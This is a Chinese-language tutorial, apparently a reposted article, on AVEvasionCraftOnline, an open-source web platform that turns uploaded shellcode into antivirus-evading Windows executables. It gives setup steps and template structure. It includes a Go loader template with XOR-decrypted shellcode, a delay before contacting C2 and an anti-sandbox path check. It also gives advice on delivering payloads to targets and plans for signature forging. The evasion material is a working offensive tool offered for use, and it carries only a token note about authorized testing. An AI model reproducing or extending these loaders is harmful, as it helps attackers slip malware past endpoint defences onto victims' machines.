AVEvasionCraftOnline 一个基于 Spring boot 的在线免杀生成平台 开源
字数 1696 2025-08-22 12:22:15

AVEvasionCraftOnline 在线免杀生成平台教学文档

一、项目概述

AVEvasionCraftOnline 是一个基于 Spring Boot 的在线免杀生成平台,支持 Nim、Go 和 C 三种语言的免杀代码生成。项目完全开源,主要解决传统免杀工具需要手动复制 shellcode、搭建编译环境等问题。

二、核心特点

  1. 易用性:通过简单的上传操作即可生成免杀 Payload
  2. 效率提升:自动化处理 shellcode 的替换、编码和加密过程
  3. 模板化设计:支持快速扩展新的载入方式和免杀技术
  4. 多语言支持:内置 Nim、Go 和 C 语言的免杀模板
  5. 多种 shellcode 存储方式:支持内嵌、本地和远程三种存储方式

三、系统架构与处理流程

1. 输入参数

  • 上传的二进制文件(bin)
  • 模板名称
  • 转换方法(加密/编码方式)
  • Shellcode存储位置(EMBEDDED/LOCAL/REMOTE)

2. 处理流程

  1. 对传入的 bin 文件进行转换(加密、编码等操作)
  2. 模板预处理:随机化函数名称、填充转换后的 Shellcode
  3. 根据模板语言类型编译预处理后的模板
  4. 打包转换后的 Shellcode 和编译完成的 exe
  5. 返回下载链接

四、环境搭建指南

1. 系统要求

  • 基于 Kali Linux 2023.4 测试
  • 需要 Java 运行环境

2. 依赖安装

Nim & C 依赖

sudo apt update
sudo apt install mingw-w64
curl https://nim-lang.org/choosenim/init.sh -sSf | sh
# 输入 y
echo "export PATH=$PATH:/home/kali/.nimble/bin" >> ~/.zshrc
source ~/.zshrc
nimble install winim
# 输入 y

Go 依赖

wget https://go.dev/dl/go1.21.6.linux-amd64.tar.gz
sudo rm -rf /usr/local/go && sudo tar -C /usr/local -xzf go1.21.6.linux-amd64.tar.gz
echo "export CGO_ENABLED=0" >> ~/.zshrc
echo "export GOOS=windows" >> ~/.zshrc
echo "export GOARCH=amd64" >> ~/.zshrc
echo "export PATH=$PATH:/usr/local/go/bin" >> ~/.zshrc
source ~/.zshrc

3. 前后端配置

  1. 解压项目文件:
cd /home/kali
unzip AVEvasionCraftOnline.zip 
cd AVEvasionCraftOnline
sudo cp -r dist/* /var/www/html && sudo chown -R www-data:www-data /var/www/html
  1. 开启 Apache 模块:
sudo a2enmod proxy
sudo a2enmod proxy_http
sudo a2enmod rewrite
  1. 编辑 /etc/apache2/sites-available/000-default.conf,增加以下配置:
ProxyPass /api http://localhost:8080
ProxyPassReverse /api http://localhost:8080

<Directory /var/www/html>
    Options Indexes FollowSymLinks
    AllowOverride All
    Require all granted
</Directory>
  1. 重启 Apache:
sudo systemctl restart apache2
  1. 修改配置文件:
bypassav:
  templates-directory: /home/kali/AVEvasionCraftOnline/template
  storage-directory: /home/kali/AVEvasionCraftOnline/download
  compilerwork-directory: /home/kali/AVEvasionCraftOnline/compiler
  1. 启动后端:
java -jar AVEvasionCraftOnline-0.0.1-SNAPSHOT.jar

五、模板维护与扩展

1. 模板目录结构

template/
  c/
    c_CreateThread/
      xor/
        LOCAL/
          c_CreateThread.c

2. 添加新模板示例(以 C 语言为例)

  1. 修改 yaml 配置:
c_CreateThread:
  loadMethod:
    - LOCAL
  transformation:
    - xor
  1. 创建对应的目录结构,将模板文件放入正确位置

  2. 模板文件要求:

  • 文件名必须与模板名称相同
  • 对于 C 语言,注意头文件大小写(如 <windows.h> 而非 <Windows.h>

3. 免杀技术实现原理

基础免杀技术

  1. Shellcode 加密:使用多字节 XOR 加密改变 shellcode 特征
  2. 延迟触发:增加随机延迟后再连接 C2 服务器
  3. 反沙箱检测:检查运行环境特征(如检查文件路径)

Go 语言免杀示例代码

func XorDecrypt(plaintext []byte, key []byte) []byte {
    ciphertext := make([]byte, len(plaintext))
    keyLength := len(key)
    for i, byte := range plaintext {
        keyByte := key[i%keyLength]
        encryptedByte := byte ^ keyByte
        ciphertext[i] = encryptedByte
    }
    return ciphertext
}

func DecryptData(v2 []byte) []byte {
    key := []byte{{{ Key }}}
    v222 := XorDecrypt(v2, key)
    return v222
}

func Sleeeep() {
    res := 1
    for i := 0; i < 5; i++ {
        number := rand.Intn(900) + 100
        res *= number
    }
    time.Sleep(10 * time.Second)
}

func main() {
    args := os.Args[0]
    if (args[10] == 92 && (args[0] == 99 || args[0] == 67)) {
        os.Exit(0)
    }
    Sleeeep()
    ciphertext := []byte{{{ Shellcode }}}
    byteData := DecryptData(ciphertext)
    Ldr1(byteData)
}

六、使用指南

  1. 访问前端页面
  2. 上传 shellcode 二进制文件
  3. 选择:
    • 编程语言(Nim/Go/C)
    • 模板名称
    • 转换方法
    • Shellcode 存储方式
  4. 生成并下载 Payload

不同存储方式的注意事项:

  • EMBEDDED/REMOTE:可单独投递 exe 文件
  • LOCAL:需要将资源文件与 exe 一起投递,且资源文件名需与生成时指定的名称一致

七、技术实现细节

1. 后端核心组件

  • CompilerController:处理两个主要 API
    • compiler:接收输入参数
    • download:提供结果下载
  • shellcodeUpload 方法:根据编程语言类型决定后续处理流程

2. 处理步骤详解

  1. 初始化编译工作目录
  2. 转换 shellcode(编码、加密等操作)
  3. 复制模板到工作目录
  4. 填充模板:
    • 转换后的 Shellcode
    • 解密 Key
    • 其他必要参数
  5. 编译程序并打包
  6. 返回下载链接

八、扩展开发指南

  1. 增加新语言支持

    • 添加对应的编译环境
    • 创建语言特定目录结构
    • 更新配置文件
  2. 增加新免杀技术

    • 在 transformation 部分添加新的转换方法
    • 实现对应的预处理逻辑
  3. 模板开发建议

    • 保持模板文件与目录结构一致
    • 使用 {{{ }}} 作为占位符标记
    • 确保模板文件可编译通过

九、安全注意事项

  1. 本项目仅供合法安全研究和授权渗透测试使用
  2. 实际使用时建议:
    • 定期更新免杀技术
    • 结合多种对抗技术
    • 根据目标环境定制 Payload

十、未来发展方向

  1. 增加更多编程语言支持
  2. 集成更多免杀技术:
    • API 混淆
    • 进程注入变种
    • 更多加密算法
  3. 增强对抗沙箱能力
  4. 增加 Payload 签名伪造功能
AVEvasionCraftOnline 在线免杀生成平台教学文档 一、项目概述 AVEvasionCraftOnline 是一个基于 Spring Boot 的在线免杀生成平台,支持 Nim、Go 和 C 三种语言的免杀代码生成。项目完全开源,主要解决传统免杀工具需要手动复制 shellcode、搭建编译环境等问题。 二、核心特点 易用性 :通过简单的上传操作即可生成免杀 Payload 效率提升 :自动化处理 shellcode 的替换、编码和加密过程 模板化设计 :支持快速扩展新的载入方式和免杀技术 多语言支持 :内置 Nim、Go 和 C 语言的免杀模板 多种 shellcode 存储方式 :支持内嵌、本地和远程三种存储方式 三、系统架构与处理流程 1. 输入参数 上传的二进制文件(bin) 模板名称 转换方法(加密/编码方式) Shellcode存储位置(EMBEDDED/LOCAL/REMOTE) 2. 处理流程 对传入的 bin 文件进行转换(加密、编码等操作) 模板预处理:随机化函数名称、填充转换后的 Shellcode 根据模板语言类型编译预处理后的模板 打包转换后的 Shellcode 和编译完成的 exe 返回下载链接 四、环境搭建指南 1. 系统要求 基于 Kali Linux 2023.4 测试 需要 Java 运行环境 2. 依赖安装 Nim & C 依赖 Go 依赖 3. 前后端配置 解压项目文件: 开启 Apache 模块: 编辑 /etc/apache2/sites-available/000-default.conf ,增加以下配置: 重启 Apache: 修改配置文件: 启动后端: 五、模板维护与扩展 1. 模板目录结构 2. 添加新模板示例(以 C 语言为例) 修改 yaml 配置: 创建对应的目录结构,将模板文件放入正确位置 模板文件要求: 文件名必须与模板名称相同 对于 C 语言,注意头文件大小写(如 <windows.h> 而非 <Windows.h> ) 3. 免杀技术实现原理 基础免杀技术 Shellcode 加密 :使用多字节 XOR 加密改变 shellcode 特征 延迟触发 :增加随机延迟后再连接 C2 服务器 反沙箱检测 :检查运行环境特征(如检查文件路径) Go 语言免杀示例代码 六、使用指南 访问前端页面 上传 shellcode 二进制文件 选择: 编程语言(Nim/Go/C) 模板名称 转换方法 Shellcode 存储方式 生成并下载 Payload 不同存储方式的注意事项: EMBEDDED/REMOTE :可单独投递 exe 文件 LOCAL :需要将资源文件与 exe 一起投递,且资源文件名需与生成时指定的名称一致 七、技术实现细节 1. 后端核心组件 CompilerController :处理两个主要 API compiler :接收输入参数 download :提供结果下载 shellcodeUpload 方法:根据编程语言类型决定后续处理流程 2. 处理步骤详解 初始化编译工作目录 转换 shellcode(编码、加密等操作) 复制模板到工作目录 填充模板: 转换后的 Shellcode 解密 Key 其他必要参数 编译程序并打包 返回下载链接 八、扩展开发指南 增加新语言支持 : 添加对应的编译环境 创建语言特定目录结构 更新配置文件 增加新免杀技术 : 在 transformation 部分添加新的转换方法 实现对应的预处理逻辑 模板开发建议 : 保持模板文件与目录结构一致 使用 {{{ }}} 作为占位符标记 确保模板文件可编译通过 九、安全注意事项 本项目仅供合法安全研究和授权渗透测试使用 实际使用时建议: 定期更新免杀技术 结合多种对抗技术 根据目标环境定制 Payload 十、未来发展方向 增加更多编程语言支持 集成更多免杀技术: API 混淆 进程注入变种 更多加密算法 增强对抗沙箱能力 增加 Payload 签名伪造功能